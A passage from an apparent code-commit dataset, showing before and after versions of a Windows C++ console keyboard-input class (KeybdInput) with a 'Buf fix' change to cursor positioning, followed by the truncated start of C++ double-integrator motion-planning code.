{string} Request message\n\t\/\/ @param {regex} The regex\n\t\/\/ @param {vector< T * >} The place(s) where it will be stored the input\n\t\/\/ @param [{bool=false}] Instant verify\n\t\/\/ @param [{bool=false}] Reset possibility\n\t\/\/ @param [{bool=false}] Is password\n\t\/\/ @param [{std::string=\" \"}] Separator\n\t\/\/ @param [{size_t=1000}] Input size\n\tvoid solicit( std::string, std::regex, std::vector< T * >, bool = false, bool = false, bool = false, std::string = \" \", size_t = 1000 );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::erase_input( size_t erase_range = 0 ) {\n\t\/\/ Default erase range\n\tif ( !erase_range )\n\t\terase_range = input.size();\n\n\tfor ( size_t i = 0; i < erase_range; i++ )\n\t\tstd::cout << \"\\b \\b\";\n\n\tinput = \"\";\n};\n\ntemplate < typename T >\nvoid KeybdInput< T >::set_reference( const std::string& value, T *target ) {\n\tstd::stringstream convert;\n\tconvert << value;\n\tconvert >> *target;\n};\n\nvoid KeybdInput< std::string >::set_reference( const std::string& value, std::string *target ) {\n\t*target = value;\n};\n\ntemplate < typename T >\nvoid KeybdInput< T >::clear_references( std::vector< T * > target ) {\n\tfor ( size_t i = 0; i < _references.size(); *target[ i++ ] = 0 );\n};\n\nvoid KeybdInput< std::string >::clear_references( std::vector< std::string * > target ) {\n\tfor ( size_t i = 0; i < _references.size(); *target[ i++ ] = \"\" );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::get_cursor_position() {\n\tCONSOLE_SCREEN_BUFFER_INFO screen_buffer_info;\n\tHANDLE hStd = GetStdHandle( STD_OUTPUT_HANDLE );\n\n\tif ( !GetConsoleScreenBufferInfo( hStd, &screen_buffer_info ) )\n\t\tMessageBox( NULL, L\"An error occurred getting the console cursor position.\", L\"KeybdInput ERROR\", NULL );\n\n\tcursor_position[ 0 ] = screen_buffer_info.dwCursorPosition.X;\n\tcursor_position[ 1 ] = screen_buffer_info.dwCursorPosition.Y;\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::set_cursor_position( short x, short y = 0 ) {\n\tif ( !SetConsoleCursorPosition( GetStdHandle( STD_OUTPUT_HANDLE ), { x, y ? y : cursor_position[ 1 ] } ) )\n\t\tMessageBox( NULL, L\"An error occurred setting the console cursor position.\", L\"KeybdInput ERROR\", NULL );\n};\n\ntemplate< typename T >\nstd::vector< std::string > KeybdInput< T >::splitstr( std::string str, std::string separator = \"\" ) {\n\tsize_t index;\n\tstd::vector< std::string > elems;\n\n\twhile ( ( index = str.find( separator ) ) != std::string::npos && str.size() > 1 ) {\n\t\telems.push_back( str.substr( 0, index ? index : 1 ) );\n\t\tstr.erase( 0, index + ( !separator.size() ? 1 : separator.size() ) );\n\t}\n\n\telems.push_back( str );\n\n\treturn elems;\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::reset( std::string msg = \"\" ) {\n\t\/\/ Default request message\n\tif ( msg == \"\" && _rmsg != \"\" )\n\t\tmsg = _rmsg;\n\n\tif ( !_reset ) {\n\t\tMessageBox( NULL, L\"Can't possible execute KeybdInput::reset() without set reset_possibility=true in KeybdInput::solicit().\", L\"KeybdInput ERROR\", NULL );\n\t\treturn;\n\t}\n\n\t\/\/ Clear previously set values\n\tclear_references( _references );\n\n\t\/\/ Sets the cursor in the previous line, erase all and requires input again\n\tget_cursor_position();\n\tset_cursor_position( static_cast< short >( msg.size() + input.size() ), cursor_position[ 1 ] - 1 );\n\terase_input( msg.size() + input.size() );\n\tsolicit( msg, std::regex( _restriction ), _references, _instverify, _reset, _ispw, _sep, _inmaxsize );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::solicit( std::string request_msg, std::regex restriction, std::vector< T * > references, bool instant_verify, bool reset_possibility, bool is_password, std::string separator, size_t input_max_size ) {\n\tstatic size_t clipboard_index = 0;\n\tsize_t i, cursor_pos_x,\n\t\tinputLength = 0;\n\tchar key = 0;\n\tbool is_function_key = false,\n\t\tarrow = false,\n\t\twaiting_input = true;\n\tstd::string input_subtr;\n\tstd::vector< std::string > inputParts;\n\n\tif ( references.size() == 0 ) {\n\t\tMessageBox( NULL, L\"\\\"refereces\\\" param need be set with at least one member.\", L\"KeybdInput ERROR\", NULL );\n\t\treturn;\n\t}\n\n\tinput = \"\";\n\tstd::cout << request_msg;\n\n\t\/\/ Retrieves the values to be used in KeybdInput::reset()\n\tif ( reset_possibility ) {\n\t\t_rmsg = request_msg;\n\t\t_restriction = restriction;\n\t\t_references = references;\n\t\t_instverify = instant_verify;\n\t\t_reset = reset_possibility;\n\t\t_ispw = is_password;\n\t\t_sep = separator;\n\t\t_inmaxsize = input_max_size;\n\t}\n\n\t\/\/ Clears previous data\n\telse if ( _reset ) {\n\t\t_rmsg = \"\";\n\t\t_restriction = \"\";\n\t\t_references = {};\n\t\t_instverify = false;\n\t\t_reset = false;\n\t\t_ispw = false;\n\t\t_sep = \" \";\n\t\t_inmaxsize = 1000;\n\t}\n\n\twhile ( waiting_input ) {\n\t\tkey = _getch();\n\n\t\t\/\/ Arrow keys prefix\n\t\tif ( key == -32 ) {\n\t\t\tarrow = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Prevents function keys\n\t\tif ( key == 0 ) {\n\t\t\tis_function_key = true;\n\t\t\tcontinue;\n\t\t} else if ( is_function_key ) {\n\t\t\tis_function_key = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Arrows\n\t\tif ( arrow ) {\n\t\t\tget_cursor_position();\n\n\t\t\t\/\/ LEFT\n\t\t\tif ( key == 75 && static_cast< size_t >( cursor_position[ 0 ] ) > request_msg.size() )\n\t\t\t\tset_cursor_position( cursor_position[ 0 ] - 1 );\n\n\t\t\t\/\/ RIGHT\n\t\t\telse if ( key == 77 && static_cast< size_t >( cursor_position[ 0 ] ) < input.size() + request_msg.size() )\n\t\t\t\tset_cursor_position( cursor_position[ 0 ] + 1 );\n\n\t\t\t\/\/ UP\n\t\t\telse if ( key == 72 && !is_password && clipboard.size() > 0 && clipboard_index > 0 ) {\n\t\t\t\terase_input();\n\t\t\t\tstd::cout << clipboard[ --clipboard_index ];\n\n\t\t\t\tinput = clipboard[ clipboard_index ];\n\t\t\t\tinputLength = clipboard[ clipboard_index ].size();\n\t\t\t}\n\n\t\t\t\/\/ DOWN\n\t\t\telse if ( key == 80 && !is_password && clipboard.size() > 0 && clipboard_index < clipboard.size() - 1 ) {\n\t\t\t\terase_input();\n\t\t\t\tstd::cout << clipboard[ ++clipboard_index ];\n\n\t\t\t\tinput = clipboard[ clipboard_index ];\n\t\t\t\tinputLength = clipboard[ clipboard_index ].size();\n\n\t\t\t\tif ( clipboard_index >= clipboard.size() )\n\t\t\t\t\tclipboard_index = clipboard.size() - 1;\n\t\t\t}\n\n\t\t}\n\n\t\t\/\/ Valid character\n\t\telse if ( key != 8 && key != 13 ) {\n\t\t\t\/\/ Inserts the character in current cursor position\n\t\t\tget_cursor_position();\n\t\t\tinput.insert( cursor_position[ 0 ] - request_msg.size(), std::string( 1, key ) );\n\n\t\t\t\/\/ If the user input satisfy the restrictions, removes the character\n\t\t\tif ( instant_verify && ( input.size() > input_max_size || !std::regex_match( input, restriction ) ) ) {\n\t\t\t\tinput.erase( cursor_position[ 0 ] - request_msg.size(), 1 );\n\t\t\t} else {\n\t\t\t\t\/\/ Appends the character if cursor is at the end, otherwise, interleaves\n\t\t\t\tif ( cursor_position[ 0 ] == ( request_msg.size() + input.size() - 1 ) ) {\n\t\t\t\t\tstd::cout << ( ( is_password ) ? '*' : key );\n\t\t\t\t} else {\n\t\t\t\t\tinput_subtr = input.substr( input.size() - ( ( request_msg.size() + input.size() ) - cursor_position[ 0 ] - 1 ), input.size() );\n\n\t\t\t\t\tstd::cout << ( ( is_password ) ? '*' : key )\n\t\t\t\t\t\t<< ( ( is_password ) ? std::string( input_subtr.size(), '*' ) : input_subtr );\n\t\t\t\t\tset_cursor_position( cursor_position[ 0 ] + 1 );\n\t\t\t\t}\n\n\t\t\t\tinputLength++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ ENTER\n\t\telse if ( key == 13 && inputLength ) {\n\t\t\t\/\/ If the user input satisfy the restrictions, clear input\n\t\t\tif ( input.size() > input_max_size || !std::regex_match( input, restriction ) ) {\n\t\t\t\terase_input();\n\t\t\t\tinputLength = 0;\n\t\t\t} else {\n\t\t\t\t\/\/ Trim left and right\n\t\t\t\tinput.erase( 0, input.find_first_not_of( ' ' ) );\n\t\t\t\tinput.erase( input.find_last_not_of( ' ' ) + 1 );\n\n\t\t\t\tif ( references.size() == 1 )\n\t\t\t\t\tset_reference( input, references[ 0 ] );\n\t\t\t\telse\n\t\t\t\t\tfor ( i = 0, inputParts = splitstr( input, separator ); i < references.size(); i++ )\n\t\t\t\t\t\tif ( i < inputParts.size() )\n\t\t\t\t\t\t\tset_reference( inputParts[ i ], references[ i ] );\n\n\t\t\t\tstd::cout << std::endl;\n\n\t\t\t\t\/\/ Prevents repetition on clipboard and don't save if it's a password\n\t\t\t\tif ( !is_password && ( clipboard.size() == 0 || input != clipboard[ clipboard.size() - 1 ] ) ) {\n\t\t\t\t\tclipboard.push_back( input );\n\t\t\t\t\tclipboard_index = clipboard.size();\n\t\t\t\t}\n\n\t\t\t\twaiting_input = false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ BACKSPACE\n\t\telse if ( key == 8 && inputLength ) {\n\t\t\tget_cursor_position();\n\t\t\tcursor_pos_x = cursor_position[ 0 ];\n\n\t\t\tif ( cursor_pos_x == ( request_msg.size() + input.size() - 1 ) && inputLength == 1 )\n\t\t\t\tcontinue;\n\n\t\t\tstd::cout << \"\\b \\b\";\n\t\t\tinput.erase( cursor_pos_x - request_msg.size() - 1, 1 );\n\t\t\tinputLength--;\n\n\t\t\t\/\/ If the cursor isn't at the end\n\t\t\tif ( cursor_pos_x <= ( request_msg.size() + input.size() ) ) {\n\t\t\t\t\/\/ Put the cursor at the start and rewrites the input\n\t\t\t\tset_cursor_position( static_cast< short >( request_msg.size() ) );\n\t\t\t\tstd::cout << ( ( is_password ) ? std::string( input.size(), '*' ) : input );\n\n\t\t\t\t\/\/ Put the cursor at the end and erase the last char\n\t\t\t\tset_cursor_position( static_cast< short >( request_msg.size() + input.size() + 1 ) );\n\t\t\t\tstd::cout << \"\\b \\b\";\n\n\t\t\t\t\/\/ Put the cursor at the original position\n\t\t\t\tset_cursor_position( static_cast< short >( cursor_pos_x - 1 ) );\n\t\t\t}\n\t\t}\n\n\t\tarrow = false;\n\t}\n};\n<commit_msg>Buf fix<commit_after>\/**\n * KeybdInput 1.0.3\n *\n * @author Roger Lima (rogerlima@outlook.com)\n * @date 31\/aug\/2014\n * @update 19\/feb\/2016\n * @desc Reads the keyboard input them according to the format specified (only works on Windows)\n * @example\n\tint day, month, year;\n\tKeybdInput< int > userin;\n\n\tuserin.solicit(\n\t\t\"Type a date (btw 01\/01\/1900 and 31\/12\/2009): \",\n\t\tstd::regex( \"([0-2]?[0-9]|3[0-1])\/(0?[1-9]|1[012])\/(19[0-9]{2}|200[0-9])\" ),\n\t\t{ &day, &month, &year },\n\t\tfalse,\n\t\tfalse,\n\t\tfalse,\n\t\t\"\/\"\n\t);\n*\/\n\n#pragma once\n#include <conio.h>\n#include <iostream>\n#include <regex>\n#include <sstream>\n#include <vector>\n#include <Windows.h>\n\ntemplate< typename T >\nclass KeybdInput {\nprivate:\n\t\/\/ Stores the values to be used in KeybdInput::reset()\n\tbool _instverify, _reset, _ispw;\n\tsize_t _inmaxsize;\n\tstd::regex _restriction;\n\tstd::string _rmsg, _sep;\n\tstd::vector< T * > _references = {};\n\n\t\/\/ Stores the user input\n\tstd::string input;\n\n\t\/\/ Receives the current X and Y cursor position from get_cursor_position()\n\tstd::vector< short > cursor_position = { 0, 0 };\n\n\t\/\/ Erase the input of user\n\t\/\/ @param [{size_t=input.size()}] Erase range\n\tvoid erase_input( size_t = 0 );\n\n\t\/\/ Get the console cursor position and pass to the cursor_position\n\tvoid get_cursor_position();\n\n\t\/\/ Set the console cursor position\n\t\/\/ @param {short} X position of cursor\n\t\/\/ @param [{short=cursor_position[ 1 ]}] Y position of cursor\n\tvoid set_cursor_position( short, short = 0 );\n\n\t\/\/ Split a string\n\t\/\/ @param {std::string} Target string\n\t\/\/ @param [{std::string=\"\"}] Separator\n\tstd::vector< std::string > splitstr( std::string str, std::string separator = \"\" );\n\n\t\/\/ Set the reference with input value\n\t\/\/ @param {const std::string&} Input value\n\t\/\/ @param {T*} Target place\n\tvoid set_reference( const std::string&, T * );\n\n\t\/\/ Clear all values of references\n\t\/\/ @param {T*} Target place\n\tvoid clear_references( std::vector< T * > );\npublic:\n\t\/\/ Clipboard (arrow up or down to show the last inputs)\n\tstd::vector< std::string > clipboard;\n\n\t\/\/ Requires the user input again\n\t\/\/ @param [{std::string=_rmsg}] Request message\n\tvoid reset( std::string = \"\" );\n\n\t\/\/ Requires the keyboard input\n\t\/\/ @param {string} Request message\n\t\/\/ @param {regex} The regex\n\t\/\/ @param {vector< T * >} The place(s) where it will be stored the input\n\t\/\/ @param [{bool=false}] Instant verify\n\t\/\/ @param [{bool=false}] Reset possibility\n\t\/\/ @param [{bool=false}] Is password\n\t\/\/ @param [{std::string=\" \"}] Separator\n\t\/\/ @param [{size_t=1000}] Input size\n\tvoid solicit( std::string, std::regex, std::vector< T * >, bool = false, bool = false, bool = false, std::string = \" \", size_t = 1000 );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::erase_input( size_t erase_range = 0 ) {\n\t\/\/ Default erase range\n\tif ( !erase_range )\n\t\terase_range = input.size();\n\n\tfor ( size_t i = 0; i < erase_range; i++ )\n\t\tstd::cout << \"\\b \\b\";\n\n\tinput = \"\";\n};\n\ntemplate < typename T >\nvoid KeybdInput< T >::set_reference( const std::string& value, T *target ) {\n\tstd::stringstream convert;\n\tconvert << value;\n\tconvert >> *target;\n};\n\nvoid KeybdInput< std::string >::set_reference( const std::string& value, std::string *target ) {\n\t*target = value;\n};\n\ntemplate < typename T >\nvoid KeybdInput< T >::clear_references( std::vector< T * > target ) {\n\tfor ( size_t i = 0; i < _references.size(); *target[ i++ ] = 0 );\n};\n\nvoid KeybdInput< std::string >::clear_references( std::vector< std::string * > target ) {\n\tfor ( size_t i = 0; i < _references.size(); *target[ i++ ] = \"\" );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::get_cursor_position() {\n\tCONSOLE_SCREEN_BUFFER_INFO screen_buffer_info;\n\tHANDLE hStd = GetStdHandle( STD_OUTPUT_HANDLE );\n\n\tif ( !GetConsoleScreenBufferInfo( hStd, &screen_buffer_info ) )\n\t\tMessageBox( NULL, L\"An error occurred getting the console cursor position.\", L\"KeybdInput ERROR\", NULL );\n\n\tcursor_position[ 0 ] = screen_buffer_info.dwCursorPosition.X;\n\tcursor_position[ 1 ] = screen_buffer_info.dwCursorPosition.Y;\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::set_cursor_position( short x, short y = 0 ) {\n\tif ( !SetConsoleCursorPosition( GetStdHandle( STD_OUTPUT_HANDLE ), { x, y } ) )\n\t\tMessageBox( NULL, L\"An error occurred setting the console cursor position.\", L\"KeybdInput ERROR\", NULL );\n};\n\ntemplate< typename T >\nstd::vector< std::string > KeybdInput< T >::splitstr( std::string str, std::string separator = \"\" ) {\n\tsize_t index;\n\tstd::vector< std::string > elems;\n\n\twhile ( ( index = str.find( separator ) ) != std::string::npos && str.size() > 1 ) {\n\t\telems.push_back( str.substr( 0, index ? index : 1 ) );\n\t\tstr.erase( 0, index + ( !separator.size() ? 1 : separator.size() ) );\n\t}\n\n\telems.push_back( str );\n\n\treturn elems;\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::reset( std::string msg = \"\" ) {\n\t\/\/ Default request message\n\tif ( msg == \"\" && _rmsg != \"\" )\n\t\tmsg = _rmsg;\n\n\tif ( !_reset ) {\n\t\tMessageBox( NULL, L\"Can't possible execute KeybdInput::reset() without set reset_possibility=true in KeybdInput::solicit().\", L\"KeybdInput ERROR\", NULL );\n\t\treturn;\n\t}\n\n\t\/\/ Clear previously set values\n\tclear_references( _references );\n\n\t\/\/ Sets the cursor in the previous line, erase all and requires input again\n\tget_cursor_position();\n\tset_cursor_position( static_cast< short >( msg.size() + input.size() ), cursor_position[ 1 ] - 1 );\n\terase_input( msg.size() + input.size() );\n\tsolicit( msg, std::regex( _restriction ), _references, _instverify, _reset, _ispw, _sep, _inmaxsize );\n};\n\ntemplate< typename T >\nvoid KeybdInput< T >::solicit( std::string request_msg, std::regex restriction, std::vector< T * > references, bool instant_verify, bool reset_possibility, bool is_password, std::string separator, size_t input_max_size ) {\n\tstatic size_t clipboard_index = 0;\n\tsize_t i, cursor_pos_x,\n\t\tinputLength = 0;\n\tchar key = 0;\n\tbool is_function_key = false,\n\t\tarrow = false,\n\t\twaiting_input = true;\n\tstd::string input_subtr;\n\tstd::vector< std::string > inputParts;\n\n\tif ( references.size() == 0 ) {\n\t\tMessageBox( NULL, L\"\\\"refereces\\\" param need be set with at least one member.\", L\"KeybdInput ERROR\", NULL );\n\t\treturn;\n\t}\n\n\tinput = \"\";\n\tstd::cout << request_msg;\n\n\t\/\/ Retrieves the values to be used in KeybdInput::reset()\n\tif ( reset_possibility ) {\n\t\t_rmsg = request_msg;\n\t\t_restriction = restriction;\n\t\t_references = references;\n\t\t_instverify = instant_verify;\n\t\t_reset = reset_possibility;\n\t\t_ispw = is_password;\n\t\t_sep = separator;\n\t\t_inmaxsize = input_max_size;\n\t}\n\n\t\/\/ Clears previous data\n\telse if ( _reset ) {\n\t\t_rmsg = \"\";\n\t\t_restriction = \"\";\n\t\t_references = {};\n\t\t_instverify = false;\n\t\t_reset = false;\n\t\t_ispw = false;\n\t\t_sep = \" \";\n\t\t_inmaxsize = 1000;\n\t}\n\n\twhile ( waiting_input ) {\n\t\tkey = _getch();\n\n\t\t\/\/ Arrow keys prefix\n\t\tif ( key == -32 ) {\n\t\t\tarrow = true;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Prevents function keys\n\t\tif ( key == 0 ) {\n\t\t\tis_function_key = true;\n\t\t\tcontinue;\n\t\t} else if ( is_function_key ) {\n\t\t\tis_function_key = false;\n\t\t\tcontinue;\n\t\t}\n\n\t\t\/\/ Arrows\n\t\tif ( arrow ) {\n\t\t\tget_cursor_position();\n\n\t\t\t\/\/ LEFT\n\t\t\tif ( key == 75 && static_cast< size_t >( cursor_position[ 0 ] ) > request_msg.size() )\n\t\t\t\tset_cursor_position( cursor_position[ 0 ] - 1 );\n\n\t\t\t\/\/ RIGHT\n\t\t\telse if ( key == 77 && static_cast< size_t >( cursor_position[ 0 ] ) < input.size() + request_msg.size() )\n\t\t\t\tset_cursor_position( cursor_position[ 0 ] + 1 );\n\n\t\t\t\/\/ UP\n\t\t\telse if ( key == 72 && !is_password && clipboard.size() > 0 && clipboard_index > 0 ) {\n\t\t\t\terase_input();\n\t\t\t\tstd::cout << clipboard[ --clipboard_index ];\n\n\t\t\t\tinput = clipboard[ clipboard_index ];\n\t\t\t\tinputLength = clipboard[ clipboard_index ].size();\n\t\t\t}\n\n\t\t\t\/\/ DOWN\n\t\t\telse if ( key == 80 && !is_password && clipboard.size() > 0 && clipboard_index < clipboard.size() - 1 ) {\n\t\t\t\terase_input();\n\t\t\t\tstd::cout << clipboard[ ++clipboard_index ];\n\n\t\t\t\tinput = clipboard[ clipboard_index ];\n\t\t\t\tinputLength = clipboard[ clipboard_index ].size();\n\n\t\t\t\tif ( clipboard_index >= clipboard.size() )\n\t\t\t\t\tclipboard_index = clipboard.size() - 1;\n\t\t\t}\n\n\t\t}\n\n\t\t\/\/ Valid character\n\t\telse if ( key != 8 && key != 13 ) {\n\t\t\t\/\/ Inserts the character in current cursor position\n\t\t\tget_cursor_position();\n\t\t\tinput.insert( cursor_position[ 0 ] - request_msg.size(), std::string( 1, key ) );\n\n\t\t\t\/\/ If the user input satisfy the restrictions, removes the character\n\t\t\tif ( instant_verify && ( input.size() > input_max_size || !std::regex_match( input, restriction ) ) ) {\n\t\t\t\tinput.erase( cursor_position[ 0 ] - request_msg.size(), 1 );\n\t\t\t} else {\n\t\t\t\t\/\/ Appends the character if cursor is at the end, otherwise, interleaves\n\t\t\t\tif ( cursor_position[ 0 ] == ( request_msg.size() + input.size() - 1 ) ) {\n\t\t\t\t\tstd::cout << ( ( is_password ) ? '*' : key );\n\t\t\t\t} else {\n\t\t\t\t\tinput_subtr = input.substr( input.size() - ( ( request_msg.size() + input.size() ) - cursor_position[ 0 ] - 1 ), input.size() );\n\n\t\t\t\t\tstd::cout << ( ( is_password ) ? '*' : key )\n\t\t\t\t\t\t<< ( ( is_password ) ? std::string( input_subtr.size(), '*' ) : input_subtr );\n\t\t\t\t\tset_cursor_position( cursor_position[ 0 ] + 1 );\n\t\t\t\t}\n\n\t\t\t\tinputLength++;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ ENTER\n\t\telse if ( key == 13 && inputLength ) {\n\t\t\t\/\/ If the user input satisfy the restrictions, clear input\n\t\t\tif ( input.size() > input_max_size || !std::regex_match( input, restriction ) ) {\n\t\t\t\terase_input();\n\t\t\t\tinputLength = 0;\n\t\t\t} else {\n\t\t\t\t\/\/ Trim left and right\n\t\t\t\tinput.erase( 0, input.find_first_not_of( ' ' ) );\n\t\t\t\tinput.erase( input.find_last_not_of( ' ' ) + 1 );\n\n\t\t\t\tif ( references.size() == 1 )\n\t\t\t\t\tset_reference( input, references[ 0 ] );\n\t\t\t\telse\n\t\t\t\t\tfor ( i = 0, inputParts = splitstr( input, separator ); i < references.size(); i++ )\n\t\t\t\t\t\tif ( i < inputParts.size() )\n\t\t\t\t\t\t\tset_reference( inputParts[ i ], references[ i ] );\n\n\t\t\t\tstd::cout << std::endl;\n\n\t\t\t\t\/\/ Prevents repetition on clipboard and don't save if it's a password\n\t\t\t\tif ( !is_password && ( clipboard.size() == 0 || input != clipboard[ clipboard.size() - 1 ] ) ) {\n\t\t\t\t\tclipboard.push_back( input );\n\t\t\t\t\tclipboard_index = clipboard.size();\n\t\t\t\t}\n\n\t\t\t\twaiting_input = false;\n\t\t\t}\n\t\t}\n\n\t\t\/\/ BACKSPACE\n\t\telse if ( key == 8 && inputLength ) {\n\t\t\tget_cursor_position();\n\t\t\tcursor_pos_x = cursor_position[ 0 ];\n\n\t\t\tif ( cursor_pos_x == ( request_msg.size() + input.size() - 1 ) && inputLength == 1 )\n\t\t\t\tcontinue;\n\n\t\t\tstd::cout << \"\\b \\b\";\n\t\t\tinput.erase( cursor_pos_x - request_msg.size() - 1, 1 );\n\t\t\tinputLength--;\n\n\t\t\t\/\/ If the cursor isn't at the end\n\t\t\tif ( cursor_pos_x <= ( request_msg.size() + input.size() ) ) {\n\t\t\t\t\/\/ Put the cursor at the start and rewrites the input\n\t\t\t\tset_cursor_position( static_cast< short >( request_msg.size() ) );\n\t\t\t\tstd::cout << ( ( is_password ) ? std::string( input.size(), '*' ) : input );\n\n\t\t\t\t\/\/ Put the cursor at the end and erase the last char\n\t\t\t\tset_cursor_position( static_cast< short >( request_msg.size() + input.size() + 1 ) );\n\t\t\t\tstd::cout << \"\\b \\b\";\n\n\t\t\t\t\/\/ Put the cursor at the original position\n\t\t\t\tset_cursor_position( static_cast< short >( cursor_pos_x - 1 ) );\n\t\t\t}\n\t\t}\n\n\t\tarrow = false;\n\t}\n};\n<|endoftext|>"} {"text":"<commit_before>#include \"DoubleIntegrator.h\"\n#include \"InterpolatorHelpers.h\"\n#include \"ParabolicRamp.h\"\n#include \"KinodynamicPath.h\"\n#include \"CSetHelpers.h\"\n#include <sstream>\nusing namespace std;\n\n\nvoid Convert(const ParabolicRamp::ParabolicRamp1D& ramp,Spline::PiecewisePolynomial& res)\n{\n res.segments.resize(3);\n res.timeShift.resize(3);\n res.times.resize(4);\n res.times[0] = 0;\n res.times[1] = ramp.tswitch1;\n res.times[2] = ramp.tswitch2;\n res.times[3] = ramp.ttotal;\n res.segments[0].Resize(3);\n res.segments[0].coef[0] = ramp.x0;\n res.segments[0].coef[1] = ramp.dx0;\n res.segments[0].coef[2] = 0.5*ramp.a1;\n res.timeShift[0] = 0;\n res.segments[1].Resize(2);\n res.segments[1].coef[0] = ramp.Evaluate(ramp.tswitch1);\n res.segments[1].coef[1] = ramp.Derivative(ramp.tswitch1);\n res.timeShift[1] = ramp.tswitch1;\n res.segments[2].Resize(3);\n res.segments[2].coef[0] = ramp.x1;\n res.segments[2].coef[1] = ramp.dx1;\n res.segments[2].coef[2] = 0.5*ramp.a2;\n res.timeShift[2] = ramp.ttotal;\n\n if(ramp.ttotal == ramp.tswitch2) {\n res.times.erase(--res.times.end());\n res.segments.erase(--res.segments.end());\n res.timeShift.erase(--res.timeShift.end());\n }\n if(ramp.tswitch1 == ramp.tswitch2) {\n res.times.erase(++res.times.begin());\n res.segments.erase(++res.segments.begin());\n res.timeShift.erase(++res.timeShift.begin());\n }\n if(ramp.tswitch1 == 0 && res.segments.size()>1) {\n res.times.erase(res.times.begin());\n res.segments.erase(res.segments.begin());\n res.timeShift.erase(res.timeShift.begin());\n }\n}\n\nvoid Convert(const ParabolicRamp::ParabolicRampND& ramp,Spline::PiecewisePolynomialND& res)\n{\n res.elements.resize(ramp.ramps.size());\n for(size_t i=0;i<ramp.ramps.size();i++)\n Convert(ramp.ramps[i],res.elements[i]);\n}\n\n\/\/concatenates the ramps\nvoid Convert(const std::vector<ParabolicRamp::ParabolicRamp1D>& ramps,Spline::PiecewisePolynomial& res)\n{\n assert(!ramps.empty());\n Convert(ramps[0],res);\n for(size_t i=1;i<ramps.size();i++) {\n Spline::PiecewisePolynomial suffix;\n Convert(ramps[i],suffix);\n res.Concat(suffix,true);\n }\n}\n\nvoid Convert(const std::vector<std::vector<ParabolicRamp::ParabolicRamp1D> >& ramps,Spline::PiecewisePolynomialND& res)\n{\n res.elements.resize(ramps.size());\n for(size_t i=0;i<ramps.size();i++)\n Convert(ramps[i],res.elements[i]);\n}\n\n\n\n\n\nDoubleIntegratorControlSpace::DoubleIntegratorControlSpace(const SmartPointer<CSet>& uset,Real dtmax)\n:IntegratedControlSpace(uset,dtmax,dtmax)\n{}\n\nInterpolator* DoubleIntegratorControlSpace::Simulate(const State& x0, const ControlInput& u)\n{\n \/\/do we want to have the interpolator in the range [0,1]?\n Vector q0,v0;\n CVSpace::GetState(x0,q0,v0);\n Real udt = u(0);\n ControlInput ubase;\n ubase.setRef(u,1,1,u.n-1);\n vector<Spline::Polynomial<double> > elements(x0.n);\n assert(q0.n == ubase.n);\n for(int i=0;i<x0.n;i++) {\n elements[i].Resize(2);\n elements[i].SetCoef(0,q0[i]);\n elements[i].SetCoef(1,v0[i]);\n elements[i].SetCoef(2,0.5*ubase[i]);\n }\n Spline::PiecewisePolynomialND path(elements,0,udt);\n return new PiecewisePolynomialInterpolator(path);\n}\n\nstd::string DoubleIntegratorControlSpace::VariableName(int i)\n{\n if(i==0) return \"time_step\";\n stringstream ss; ss<<\"ddx\"<<i-1; return ss.str(); \n}\n\n\n\nvoid DoubleIntegratorControlSpace::Successor(const State& x0, const ControlInput& u,State& x1)\n{\n Real udt = u(0);\n ControlInput ubase;\n ubase.setRef(u,1,1,u.n-1);\n EvalDynamics(x0,ubase,udt,x1);\n}\n\nvoid DoubleIntegratorControlSpace::Derivative(const State& x, const ControlInput& u,State& dx)\n{\n Vector q,v;\n CVSpace::GetState(x,q,v);\n CVSpace::SetState(v,u,dx);\n}\n\nvoid DoubleIntegratorControlSpace::EvalDynamics(const State& x0, const ControlInput& ddx,Real t,State& x1)\n{\n Vector q0,v0,q1,v1;\n CVSpace::GetState(x0,q0,v0);\n q1 = q0 + t*v0 + (0.5*t*t)*ddx;\n v1 = v0 + t*ddx;\n CVSpace::SetState(q1,v1,x1);\n}\n\n\n\n\n\nDoubleIntegratorKinodynamicSpace::DoubleIntegratorKinodynamicSpace(SmartPointer<CSpace> qspace,SmartPointer<CSpace> vspace,SmartPointer<CSet> uset,Real dtmax)\n:KinodynamicSpace(new CVSpace(qspace,vspace),new DoubleIntegratorControlSpace(uset,dtmax)),visibilityEpsilon(1e-2)\n{\n BoxSet* abset = dynamic_cast<BoxSet*>(&*uset);\n if(!abset) {\n printf(\"DoubleIntegratorKinodynamicSpace: No steering function available; accelerations are not box-bounded\\n\");\n }\n else {\n \/\/create steering function\n PropertyMap props;\n vspace->Properties(props);\n vector<Real> vmin,vmax;\n if(!props.getArray(\"minimum\",vmin) || !props.getArray(\"maximum\",vmax)) {\n vmin.resize(abset->bmin.size(),-Inf);\n vmax.resize(abset->bmax.size(),Inf);\n }\n controlSpace->mySteeringFunction = new DoubleIntegratorBoxBoundedSteeringFunction(abset->bmax,vmax);\n }\n}\n\nEdgePlanner* DoubleIntegratorKinodynamicSpace::TrajectoryChecker(const ControlInput& u,const SmartPointer<Interpolator>& path)\n{\n return new EpsilonEdgeChecker(GetStateSpace(),path,visibilityEpsilon);\n}\n\nvoid DoubleIntegratorKinodynamicSpace::SetVisibilityEpsilon(Real tol)\n{\n visibilityEpsilon = tol;\n}\n\n\n\n\nDoubleIntegratorBoxBoundedSteeringFunction::DoubleIntegratorBoxBoundedSteeringFunction(const Vector& _amax,const Vector& _vmax)\n:amax(vector<double>(_amax)),vmax(vector<double>(_vmax))\n{}\n\nvoid DoubleIntegratorBoxBoundedSteeringFunction::SetConfigurationBounds(const Config& _qmin,const Config& _qmax)\n{\n qmin = _qmin;\n qmax = _qmax;\n}\n\nbool DoubleIntegratorBoxBoundedSteeringFunction::Connect(const State& x,const State& y,KinodynamicMilestonePath& path)\n{\n Vector qx,vx,qy,vy;\n CVSpace::GetState(x,qx,vx);\n 